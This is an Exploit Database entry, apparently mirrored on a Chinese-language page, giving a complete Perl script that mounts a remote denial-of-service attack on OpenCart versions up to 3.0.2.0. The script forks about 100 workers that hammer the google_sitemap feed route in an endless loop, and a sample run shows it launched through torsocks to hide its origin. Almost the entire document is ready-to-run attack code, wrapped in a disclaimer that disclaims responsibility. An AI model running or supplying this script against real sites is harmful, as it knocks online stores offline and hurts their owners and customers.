Opencart < 3.0.2.0 - Denial of Service

Exploit Database
112 阅读

作者： Todor Donev

日期： 2018-06-22
类别：
- dos
平台：
- php
来源：https://www.exploit-db.com/exploits/44927/

#!/usr/bin/perl -w

#Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)

#https://ethical-hacker.org/

#https://facebook.com/ethicalhackerorg

#Tested store with added more than 1000 products

#[todor@adamantium cartkiller]# torsocks perl killcart.pl example.com

#Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)

#Connecting example.com with 80 forks..

#Bye, bye and good night..

#^C

#[todor@adamantium cartkiller]#

#Disclaimer:

#This or previous programs is for Educational

#purpose ONLY. Do not use it without permission.

#The usual disclaimer applies, especially the

#fact that Todor Donev is not liable for any

#damages caused by direct or indirect use of the

#information or functionality provided by these

#programs. The author or any Internet provider

#bears NO responsibility for content or misuse

#of these programs or any derivatives thereof.

#By using these programs you accept the fact

#that any damage (dataloss, system crash,

#system compromise, etc.) caused by the use

#of these programs is not Todor Donev's

#responsibility.

#Use them at your own risk!

#This exploit is buggy and proof of concept

use Parallel::ForkManager;

use LWP;

print "Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)\n";

sub usage{

print "usg: perl $0 <host>\n";

print "exmpl: perl $0 www.example.com\n";

print "https://ethical-hacker.org/\n";

print "https://facebook.com/ethicalhackerorg\n";

}

if ($#ARGV < 0) {

usage;

exit;

}

my $numforks = 100;

print "Connecting $ARGV[0] with $numforks forks..\n";

sub killcart{

my $pm = new Parallel::ForkManager($numforks);

$|=1;

srand(time());

for ($k=0;$k<$numforks;$k++) {

$pm->start and next;

my $browser= LWP::UserAgent ->new(ssl_opts => { verify_hostname => 0 },protocols_allowed => ['https']);

# $browser->timeout(20);

$browser->agent('Mozilla/5.0');

my $response = $browser->get("https://$ARGV[0]/index.php?route=extension/feed/google_sitemap");

print "Loop detected: Opencart is still vulnerable but seems server is correct configured. Change forks.\n" if($response->code eq 508);

print "Kill me! Google_Sitemap is turned off..\n" if($response->code eq 404);

print "Bye, bye and good night..\n" if(($response->code eq 503 or $response->code eq 504));

$pm->finish;

}

$pm->wait_all_children;

}

while(1) {

killcart();

}